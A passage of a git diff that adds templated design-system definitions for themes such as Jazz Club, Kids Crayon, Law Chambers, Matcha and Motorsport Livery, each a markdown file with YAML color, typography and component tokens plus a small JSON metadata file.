lineHeight: 1.55 + label: + fontFamily: Manrope + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.06em" +rounded: + sm: 8px + md: 14px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A smart-home dashboard: deep dark with a warm peach accent and teal status. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F0EFE9`):** Headlines and core text. +- **Secondary (`#8A857A`):** Borders, captions, and metadata. +- **Tertiary (`#FFB98C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#17181B`):** The page foundation. + +## Typography + +- **display:** Manrope 3.75rem +- **h1:** Manrope 2rem +- **body:** Manrope 0.95rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/iot-home.meta.json b/imported-skills/designdotmd/designs/iot-home.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..d3bf33edd84d60fb31263dfcf5d85cfbb32ce38e --- /dev/null +++ b/imported-skills/designdotmd/designs/iot-home.meta.json @@ -0,0 +1,4 @@ +{ + "id": "iot-home", + "name": "IoT Home" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/jazz-club.md b/imported-skills/designdotmd/designs/jazz-club.md new file mode 100644 index 0000000000000000000000000000000000000000..e82fbcd946a5013158dc2875b47e2a0242ad05f9 --- /dev/null +++ b/imported-skills/designdotmd/designs/jazz-club.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Jazz Club +description: Blue Note vibe: ink blue, cream, trumpet gold. +colors: + primary: "#F4ECD8" + secondary: "#A89B7A" + tertiary: "#E2B040" + neutral: "#0F1F3D" + surface: "#162748" + on-primary: "#F4ECD8" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.5rem + fontWeight: 800 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.4rem + fontWeight: 700 + body: + fontFamily: Libre Caslon Text + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Bebas Neue + fontSize: 0.85rem + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A jazz-club palette inspired by mid-century record sleeves: ink blue, cream, gold. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F4ECD8`):** Headlines and core text. +- **Secondary (`#A89B7A`):** Borders, captions, and metadata. +- **Tertiary (`#E2B040`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0F1F3D`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.5rem +- **h1:** Playfair Display 2.4rem +- **body:** Libre Caslon Text 1rem +- **label:** Bebas Neue 0.85rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/jazz-club.meta.json b/imported-skills/designdotmd/designs/jazz-club.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0942bff784c0cdbd661c5ddb7b7294370a4468a2 --- /dev/null +++ b/imported-skills/designdotmd/designs/jazz-club.meta.json @@ -0,0 +1,4 @@ +{ + "id": "jazz-club", + "name": "Jazz Club" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/kids-crayon.md b/imported-skills/designdotmd/designs/kids-crayon.md new file mode 100644 index 0000000000000000000000000000000000000000..6d75a0d4ec870c8833a049a3b2876cf2d8fdb58c --- /dev/null +++ b/imported-skills/designdotmd/designs/kids-crayon.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Kids Crayon +description: Crayon-bright: primary colors, chunky radii, silly big type. +colors: + primary: "#1B2A6B" + secondary: "#6A75B8" + tertiary: "#FFB400" + neutral: "#EAF3FF" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fredoka + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Fredoka + fontSize: 2.4rem + fontWeight: 700 + body: + fontFamily: Fredoka + fontSize: 1.05rem + lineHeight: 1.55 + label: + fontFamily: Fredoka + fontSize: 0.82rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 10px + md: 20px + lg: 32px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A kids-product system with saturated primaries and jumbo touch targets. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B2A6B`):** Headlines and core text. +- **Secondary (`#6A75B8`):** Borders, captions, and metadata. +- **Tertiary (`#FFB400`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EAF3FF`):** The page foundation. + +## Typography + +- **display:** Fredoka 4.5rem +- **h1:** Fredoka 2.4rem +- **body:** Fredoka 1.05rem +- **label:** Fredoka 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/kids-crayon.meta.json b/imported-skills/designdotmd/designs/kids-crayon.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..35d2fe35459021dc5e05d6dd451df44cd7f81bbd --- /dev/null +++ b/imported-skills/designdotmd/designs/kids-crayon.meta.json @@ -0,0 +1,4 @@ +{ + "id": "kids-crayon", + "name": "Kids Crayon" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/kraft-paper.md b/imported-skills/designdotmd/designs/kraft-paper.md new file mode 100644 index 0000000000000000000000000000000000000000..a690b1b44c7cfbe5ac22dfe76992d928dcf7398c --- /dev/null +++ b/imported-skills/designdotmd/designs/kraft-paper.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Kraft Paper +description: Brown paper, stamp ink, handmade feel. +colors: + primary: "#251812" + secondary: "#8B6E52" + tertiary: "#B83B2E" + neutral: "#E6D6B8" + surface: "#F1E3C6" + on-primary: "#F1E3C6" +typography: + display: + fontFamily: Archivo + fontSize: 4rem + fontWeight: 800 + letterSpacing: "-0.03em" + h1: + fontFamily: Archivo + fontSize: 2.25rem + fontWeight: 800 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A crafts-and-goods palette. Kraft brown surfaces, deep ink primary, stamp-red accent. Feels tactile even in pixels. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#251812`):** Headlines and core text. +- **Secondary (`#8B6E52`):** Borders, captions, and metadata. +- **Tertiary (`#B83B2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E6D6B8`):** The page foundation. + +## Typography + +- **display:** Archivo 4rem +- **h1:** Archivo 2.25rem +- **body:** Inter 1rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/kraft-paper.meta.json b/imported-skills/designdotmd/designs/kraft-paper.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..f334cccd92c7868304ae7389dd5c42778b607ada --- /dev/null +++ b/imported-skills/designdotmd/designs/kraft-paper.meta.json @@ -0,0 +1,4 @@ +{ + "id": "kraft-paper", + "name": "Kraft Paper" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/law-chambers.md b/imported-skills/designdotmd/designs/law-chambers.md new file mode 100644 index 0000000000000000000000000000000000000000..c1b3bfabc20287af29bfaefaba6035939d277e88 --- /dev/null +++ b/imported-skills/designdotmd/designs/law-chambers.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Law Chambers +description: Chambers: oxblood, foolscap cream, barrister grey. +colors: + primary: "#1A0E0C" + secondary: "#78665E" + tertiary: "#7A1020" + neutral: "#F2ECDA" + surface: "#FBF6E6" + on-primary: "#FBF6E6" +typography: + display: + fontFamily: Source Serif 4 + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Source Serif 4 + fontSize: 2.2rem + fontWeight: 700 + body: + fontFamily: Source Serif 4 + fontSize: 1.05rem + lineHeight: 1.75 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.22em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A legal-firm palette: foolscap cream surface, oxblood accent, barrister-grey secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A0E0C`):** Headlines and core text. +- **Secondary (`#78665E`):** Borders, captions, and metadata. +- **Tertiary (`#7A1020`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2ECDA`):** The page foundation. + +## Typography + +- **display:** Source Serif 4 4rem +- **h1:** Source Serif 4 2.2rem +- **body:** Source Serif 4 1.05rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/law-chambers.meta.json b/imported-skills/designdotmd/designs/law-chambers.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..7a6a5ae8572a7c3cb6325906464ca36c69c09f96 --- /dev/null +++ b/imported-skills/designdotmd/designs/law-chambers.meta.json @@ -0,0 +1,4 @@ +{ + "id": "law-chambers", + "name": "Law Chambers" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/linen.md b/imported-skills/designdotmd/designs/linen.md new file mode 100644 index 0000000000000000000000000000000000000000..becaad6e591d6466aa15cc43232f53c3db54cd62 --- /dev/null +++ b/imported-skills/designdotmd/designs/linen.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Linen +description: Hand-woven textures, tea stains, slow. +colors: + primary: "#2A2420" + secondary: "#7A6E64" + tertiary: "#A47D4E" + neutral: "#EEE7D9" + surface: "#F7F1E3" + on-primary: "#F7F1E3" +typography: + display: + fontFamily: EB Garamond + fontSize: 4.75rem + fontWeight: 500 + letterSpacing: "-0.01em" + h1: + fontFamily: EB Garamond + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: EB Garamond + fontSize: 1.15rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.1em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A domestic, tactile palette. Everything a half-shade warmer than you'd expect. Quiet ink, warm parchment. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2A2420`):** Headlines and core text. +- **Secondary (`#7A6E64`):** Borders, captions, and metadata. +- **Tertiary (`#A47D4E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEE7D9`):** The page foundation. + +## Typography + +- **display:** EB Garamond 4.75rem +- **h1:** EB Garamond 2.75rem +- **body:** EB Garamond 1.15rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/linen.meta.json b/imported-skills/designdotmd/designs/linen.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c4e10e4bbccb79ea0adf5f95c3012e0b425774ff --- /dev/null +++ b/imported-skills/designdotmd/designs/linen.meta.json @@ -0,0 +1,4 @@ +{ + "id": "linen", + "name": "Linen" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/luxe-commerce.md b/imported-skills/designdotmd/designs/luxe-commerce.md new file mode 100644 index 0000000000000000000000000000000000000000..ddee6e50d7feaba0fef5ff83eb10cef794833c40 --- /dev/null +++ b/imported-skills/designdotmd/designs/luxe-commerce.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Luxe Commerce +description: DTC luxury: porcelain, bone ink, brushed copper. +colors: + primary: "#141212" + secondary: "#7F7770" + tertiary: "#B07750" + neutral: "#F3EEE5" + surface: "#FBF7EF" + on-primary: "#FBF7EF" +typography: + display: + fontFamily: Fraunces + fontSize: 5rem + fontWeight: 300 + letterSpacing: "-0.03em" + h1: + fontFamily: Fraunces + fontSize: 2.5rem + fontWeight: 300 + body: + fontFamily: Jost + fontSize: 0.98rem + lineHeight: 1.65 + label: + fontFamily: Jost + fontSize: 0.72rem + fontWeight: 400 + letterSpacing: "0.24em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A DTC luxury-ecommerce palette: porcelain surface, bone-black ink, brushed-copper accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#141212`):** Headlines and core text. +- **Secondary (`#7F7770`):** Borders, captions, and metadata. +- **Tertiary (`#B07750`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3EEE5`):** The page foundation. + +## Typography + +- **display:** Fraunces 5rem +- **h1:** Fraunces 2.5rem +- **body:** Jost 0.98rem +- **label:** Jost 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/luxe-commerce.meta.json b/imported-skills/designdotmd/designs/luxe-commerce.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..bb32f6ada3fd6dee144841287eebf8a7344b111e --- /dev/null +++ b/imported-skills/designdotmd/designs/luxe-commerce.meta.json @@ -0,0 +1,4 @@ +{ + "id": "luxe-commerce", + "name": "Luxe Commerce" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/magazine-rouge.md b/imported-skills/designdotmd/designs/magazine-rouge.md new file mode 100644 index 0000000000000000000000000000000000000000..54cde6c60293ab41947209ee75672a1da6be0469 --- /dev/null +++ b/imported-skills/designdotmd/designs/magazine-rouge.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Magazine Rouge +description: Fashion-magazine red, ivory spreads, giant display. +colors: + primary: "#161615" + secondary: "#7E7A73" + tertiary: "#C1172F" + neutral: "#F4EFE7" + surface: "#FAF6EE" + on-primary: "#FAF6EE" +typography: + display: + fontFamily: Bodoni Moda + fontSize: 6rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Bodoni Moda + fontSize: 3rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.7rem + fontWeight: 700 + letterSpacing: "0.22em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An oversized-editorial system inspired by quarterly style titles. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#161615`):** Headlines and core text. +- **Secondary (`#7E7A73`):** Borders, captions, and metadata. +- **Tertiary (`#C1172F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4EFE7`):** The page foundation. + +## Typography + +- **display:** Bodoni Moda 6rem +- **h1:** Bodoni Moda 3rem +- **body:** Inter 1rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/magazine-rouge.meta.json b/imported-skills/designdotmd/designs/magazine-rouge.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1a44872891542c5d92785cf1e3a8c53d94002086 --- /dev/null +++ b/imported-skills/designdotmd/designs/magazine-rouge.meta.json @@ -0,0 +1,4 @@ +{ + "id": "magazine-rouge", + "name": "Magazine Rouge" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/matcha.md b/imported-skills/designdotmd/designs/matcha.md new file mode 100644 index 0000000000000000000000000000000000000000..00e9538a59bcd5232740a8b6e21d1c5bb1a61be2 --- /dev/null +++ b/imported-skills/designdotmd/designs/matcha.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Matcha +description: Soft green, bamboo, steam. +colors: + primary: "#2B3A2E" + secondary: "#7A8A72" + tertiary: "#6F9A5B" + neutral: "#ECE8DB" + surface: "#F7F3E7" + on-primary: "#F7F3E7" +typography: + display: + fontFamily: Noto Serif + fontSize: 4rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Noto Serif + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Noto Sans + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Noto Sans + fontSize: 0.75rem + letterSpacing: "0.08em" +rounded: + sm: 6px + md: 12px + lg: 24px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A calming wellness palette without the spa cliches. Muted matcha green, warm oat, quiet ink. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B3A2E`):** Headlines and core text. +- **Secondary (`#7A8A72`):** Borders, captions, and metadata. +- **Tertiary (`#6F9A5B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#ECE8DB`):** The page foundation. + +## Typography + +- **display:** Noto Serif 4rem +- **h1:** Noto Serif 2.5rem +- **body:** Noto Sans 1rem +- **label:** Noto Sans 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/matcha.meta.json b/imported-skills/designdotmd/designs/matcha.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..296b427187b1cd4dea14b78c0380d52516d07888 --- /dev/null +++ b/imported-skills/designdotmd/designs/matcha.meta.json @@ -0,0 +1,4 @@ +{ + "id": "matcha", + "name": "Matcha" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/meditation-zen.md b/imported-skills/designdotmd/designs/meditation-zen.md new file mode 100644 index 0000000000000000000000000000000000000000..c21398ad63bbadb5f8c1f272f60181245deec7cb --- /dev/null +++ b/imported-skills/designdotmd/designs/meditation-zen.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Meditation Zen +description: Sitting practice: bone paper, breath blue, ink brush. +colors: + primary: "#1F1E1A" + secondary: "#8C867A" + tertiary: "#6894A8" + neutral: "#F4EFE3" + surface: "#FBF6EA" + on-primary: "#FBF6EA" +typography: + display: + fontFamily: Spectral + fontSize: 4rem + fontWeight: 300 + letterSpacing: "-0.015em" + h1: + fontFamily: Spectral + fontSize: 2.2rem + fontWeight: 300 + body: + fontFamily: Spectral + fontSize: 1.05rem + lineHeight: 1.8 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 400 + letterSpacing: "0.16em" +rounded: + sm: 14px + md: 24px + lg: 40px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A meditation-app palette: bone surface, breath-blue accent, brush-stroke serif. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F1E1A`):** Headlines and core text. +- **Secondary (`#8C867A`):** Borders, captions, and metadata. +- **Tertiary (`#6894A8`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4EFE3`):** The page foundation. + +## Typography + +- **display:** Spectral 4rem +- **h1:** Spectral 2.2rem +- **body:** Spectral 1.05rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/meditation-zen.meta.json b/imported-skills/designdotmd/designs/meditation-zen.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..97f57722314c92b634ed2733d0019e85a176ade7 --- /dev/null +++ b/imported-skills/designdotmd/designs/meditation-zen.meta.json @@ -0,0 +1,4 @@ +{ + "id": "meditation-zen", + "name": "Meditation Zen" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/midjourney-dream.md b/imported-skills/designdotmd/designs/midjourney-dream.md new file mode 100644 index 0000000000000000000000000000000000000000..e26f1e5dba0279da44f7424783e2e76a118a428c --- /dev/null +++ b/imported-skills/designdotmd/designs/midjourney-dream.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Dream Engine +description: Generative AI: obsidian surface, dream violet, seed amber. +colors: + primary: "#F1EDF9" + secondary: "#8C87A2" + tertiary: "#C18CFF" + neutral: "#0B0A13" + surface: "#15131F" + on-primary: "#0B0A13" +typography: + display: + fontFamily: Instrument Serif + fontSize: 5rem + fontWeight: 400 + letterSpacing: "-0.02em" + h1: + fontFamily: Instrument Serif + fontSize: 2.6rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.06em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A generative-AI palette: obsidian dark surface, dream-violet accent, seed-amber parameter chips. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F1EDF9`):** Headlines and core text. +- **Secondary (`#8C87A2`):** Borders, captions, and metadata. +- **Tertiary (`#C18CFF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0A13`):** The page foundation. + +## Typography + +- **display:** Instrument Serif 5rem +- **h1:** Instrument Serif 2.6rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/midjourney-dream.meta.json b/imported-skills/designdotmd/designs/midjourney-dream.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1971b2bed3a1dfbc34ff8cfaa503888742ca1e10 --- /dev/null +++ b/imported-skills/designdotmd/designs/midjourney-dream.meta.json @@ -0,0 +1,4 @@ +{ + "id": "midjourney-dream", + "name": "Dream Engine" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/mint-receipt.md b/imported-skills/designdotmd/designs/mint-receipt.md new file mode 100644 index 0000000000000000000000000000000000000000..b0cc59d71bc6f51df68dc00c7c03e0e273f13459 --- /dev/null +++ b/imported-skills/designdotmd/designs/mint-receipt.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Mint Receipt +description: Thermal paper, mint stripe, tidy numbers. +colors: + primary: "#1E241E" + secondary: "#6C7A6F" + tertiary: "#2FB67D" + neutral: "#F4F0E8" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: JetBrains Mono + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.03em" + h1: + fontFamily: JetBrains Mono + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A fintech palette with personality. Off-white paper, mono type for numerics, mint accent for positive delta. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1E241E`):** Headlines and core text. +- **Secondary (`#6C7A6F`):** Borders, captions, and metadata. +- **Tertiary (`#2FB67D`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4F0E8`):** The page foundation. + +## Typography + +- **display:** JetBrains Mono 3.5rem +- **h1:** JetBrains Mono 2rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/mint-receipt.meta.json b/imported-skills/designdotmd/designs/mint-receipt.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..b5eb8475591cc5179e4adf531a916af67f9911d2 --- /dev/null +++ b/imported-skills/designdotmd/designs/mint-receipt.meta.json @@ -0,0 +1,4 @@ +{ + "id": "mint-receipt", + "name": "Mint Receipt" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/motorsport-livery.md b/imported-skills/designdotmd/designs/motorsport-livery.md new file mode 100644 index 0000000000000000000000000000000000000000..a0ad3c5be0aaf2956236eeb99636dacca67b9262 --- /dev/null +++ b/imported-skills/designdotmd/designs/motorsport-livery.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Motorsport Livery +description: F1 livery: carbon black, racing red, pit-lane yellow. +colors: + primary: "#F2F2F2" + secondary: "#8C8C8C" + tertiary: "#E10600" + neutral: "#0B0B0B" + surface: "#151515" + on-primary: "#0B0B0B" +typography: + display: + fontFamily: Oswald + fontSize: 5rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Oswald + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.5 + label: + fontFamily: Oswald + fontSize: 0.78rem + letterSpacing: "0.16em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A motorsport-livery palette: carbon black, racing red, pit-lane yellow accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F2F2F2`):** Headlines and core text. +- 